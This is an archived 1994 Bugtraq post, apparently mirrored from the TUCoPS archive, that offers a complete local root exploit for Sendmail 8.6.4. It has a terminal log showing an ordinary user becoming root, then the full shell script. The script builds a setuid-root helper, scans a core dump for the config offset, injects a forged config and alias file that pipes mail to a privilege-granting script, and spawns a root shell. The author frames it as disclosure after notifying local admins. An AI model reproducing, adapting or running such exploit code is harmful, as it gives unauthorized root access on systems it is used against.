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TUCoPS :: Unix :: General :: sm864.txt

Sendmail 8.6.4 - script to obtain a root shell




**************************************************************************
   HACK: Sendmail 8.6.4: Program and script to obtain a root shell
 System: Unix
 Source: james abendchan (jwa@naucse.cse.nau.edu) from Bugtraq
**************************************************************************

What follows is a sample run exercising the latest sendmail hole and the
script used to exploit this hole.  This is a re-send; I neglected
to escape the "." in the sendmail script, leaving the program
slightly truncated.  To fix this, I have escaped the . so prior
to executing this you must remove the \.  (does that make any sense? :-)
There was also a small problem with nested quotes pointed out by Peter
Wemm which I have fixed.

This is the "small version" of the script; it assumes you have a sane
sendmail.cf.  In this manner, it is not a particularly robust "breakin
script" but I believe it does illustrate how to exploit the bug.

This program uses "calc.c," the program mentioned by Timothy Newsham in
an earlier message.  The program has been modified slightly so that it
gives better results (it would occasionally fail to locate the offset of
a config given a buggy sendmail.  The fix is to force a sync() after
it generates a coredump.)  The remainder of the program was written
by myself and a fellow student, Steven Dake.

We have held off on releasing this script until we were able to notify
the people responsible for system security at NAU.  Locals subscribing
to this digest beware; sendmail on our machines has been patched! :-)

Script started on Thu Mar 24 00:54:54 1994
[pine] [1] date
Thu Mar 24 00:54:57 MST 1994
[pine] [2] whoami
jwa
[pine] [3] id
uid=4473(jwa) gid=400(student)
[pine] [4] ls -l sendbug.sh
-rwx------   1 jwa      student     4893 Mar 24 00:46 sendbug.sh*
[pine] [5] sendbug.sh
Creating setid0 ...
Creating calc...
Scanning core image for /nau/local/lib/mail/sendmail.cf...
Creating alias.sh ...
Creating fake alias file...
Faking alias pointer in new config file...
Creating the sendmail script...
Executing /usr/lib/sendmail -
d4294935548.47,4294935549.116,4294935550.109,4294935551.112,4294935552.47,4294935553.115,429
4935554.109,4294935555.46,4294935556.9
Version 8.6.4
220-pine.cse.nau.edu Sendmail 8.6.4/WHOOP-v1.0 ready at Thu, 24 Mar 1994 00:55:21 -0700
220 ESMTP spoken here
250 pine.cse.nau.edu Hello jwa@localhost, pleased to meet you
250 <nobody>... Sender ok
250 <yash>... Recipient ok
354 Enter mail, end with "." on a line by itself
250 AAA01803 Message accepted for delivery
503 Need MAIL before RCPT
503 Need MAIL command
500 Command unrecognized
500 Command unrecognized
221 pine.cse.nau.edu closing connection
setid0 is a suid shell.  executing...
executing /bin/csh...
pine# whoami
root
pine# id
uid=0(root) gid=0(root)
pine# exit
pine# end of script.

.. and here's the program.

#!/bin/sh
# exploit new sendmail bug to give us a root shell
# 24 mar 94  jwa/scd @nau.edu
# "short version"
# tested on sunos 5.2/sendmail 8.6.4

# location of sendmail
SENDMAIL=/usr/lib/sendmail

# location of original sendmail.cf file
CONFIG=/nau/local/lib/mail/sendmail.cf
#CONFIG=`strings $SENDMAIL | grep sendmail.cf`

# program to execute as root
SHELL=/bin/csh

TEMPDIR=/tmp/sendbug-tmp.$$
mkdir $TEMPDIR
chmod 700 $TEMPDIR
cd $TEMPDIR

cp $SENDMAIL sm
chmod 700 sm

echo "Creating setid0 ..."
cat > setid.c << _EOF_

/* set uid to zero, thus escaping the annoying csh and solaris sh
 * problem..
 *
 * if (getuid() != geteuid()) {
 *  printf("permission denied, you root-hacker you.\n");
 *  exit(1);
 * }
 *
 * .. must be run euid 0, obviously.  with no args it runs /bin/sh,
 * otherwise it runs the 1st arg.
 */

#include <stdio.h>

main(argc, argv)
int argc;
char *argv[];

 int uid;

 setuid(0);
 setgid(0);
 seteuid(0);  /* probabally redundant. */
 setegid(0);

 uid = getuid();

 if (uid != 0) {
  printf("setuid(0); failed!  aborting..\n");
  exit(1);
 }

 if (argc !=2) {
  printf("executing /bin/sh...\n");
  system("/bin/sh");
 }
  else
 {
  printf("executing %s...\n", argv[1]);
  system(argv[1]);
 }

_EOF_

cc -o setid0 setid.c

echo "Creating calc..."

cat > calc.c << _EOF_
/*
 * Determines offset in sendmail of
 * sendmail.cf file location.
 * author: timothy newsham
 */
#include <fcntl.h>

gencore()

  int pid;
  int fd[2];

  if(pipe(fd) < 0) {
    perror("pipe");
    exit(1);
    return(0);
  }
  pid = fork();
  if(!pid) {
    int f = open("./out", O_RDWR|O_CREAT, 0666);
    dup2(f, 1); dup2(fd[0], 0);
    close(f); close(fd[1]); close(fd[0]);
    execl("./sm","sm","-d0-9.90","-oQ.","-bs", 0);
    perror("exec");
    exit(0);
  } else {
    sleep(2);
    kill(pid, 11);
  }
  close(fd[0]);
  close(fd[1]);


main(argc,argv)
char **argv;
int argc;

  unsigned int ConfFile,tTdvect,off;

  gencore();
  sync();   /* grr. */
  tTdvect = find("ZZZZZZZZ", "core");
  ConfFile = find(argv[1], "core");
  if(!tTdvect || !ConfFile) {
   return(1);
  }
  off = ConfFile - tTdvect;

  printf("-d%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.0\n",
  off, '/', off+1, 't', off+2, 'm', off+3, 'p', off+4, '/', off+5, 's', \
  off+6, 'm', off+7, '.', off+8, 'c', off+9, 'f', off+10);


int find(pattern, file)
char *pattern,*file;

  int fd;
  int i, addr;
  char c;

  fd = open(file, 0);

  i = 0;
  addr = 0;
  while(read(fd, &c, 1) == 1) {
    if(pattern[i] == c)
      i++;
    else
      i=0;
    if(pattern[i] == '\0') {
      addr -= strlen(pattern);
      return(addr);
    }
    addr++;
  }
  return(0);

_EOF_
cc calc.c -o calc

echo "Scanning core image for $CONFIG..."

DEBUGFLAGS=`calc $CONFIG`

echo "Creating alias.sh ..."
echo "#!/bin/sh
# this program will be executed when mail is sent to the fake alias.
# since solaris sh and csh and tcsh refuse to run when euid != realuid,
# we instead run the program we compiled above.

/bin/chmod 6777 $TEMPDIR/setid0
/bin/chown root $TEMPDIR/setid0
/bin/sync

" > alias.sh

chmod 755 alias.sh

echo "Creating fake alias file..."
echo "yash: |$TEMPDIR/alias.sh" > aliases

echo "Faking alias pointer in new config file..."
egrep -v '(OA|DZ|Ou|Og)' $CONFIG > /tmp/sm.cf
echo "
# hacks follow

OA/$TEMPDIR/aliases                     # our fake alias file
Ou0                                     # user ID to run as
Og0                                     # group ID to run as
DZWHOOP-v1.0" >> /tmp/sm.cf

echo "Creating the sendmail script..."

cat > sendmail.script << _EOF_
helo
mail from: <nobody>
rcpt to: <yash>
data
yet another sendmail hole?  suid whoop?
\.                                      # oops.. delete \ prior to execution
quit
_EOF_

echo "Executing $SENDMAIL $DEBUGFLAGS -bs..."

$SENDMAIL $DEBUGFLAGS -bs < sendmail.script

# give it time to execute.
sleep 4

# cleanup in 5 seconds
(sleep 5; rm -rf $TEMPDIR ; rm /tmp/sm.cf) &

if [ -u setid0 ]
then
 echo "setid0 is a suid shell.  executing..."
 cd /
 $TEMPDIR/setid0 /bin/csh
 echo "end of script."
 exit 0
else
 echo "setid0 is not suid; script failed."
 echo "apparently, you don't have the bug.  celebrate :-)"
 exit 1
fi


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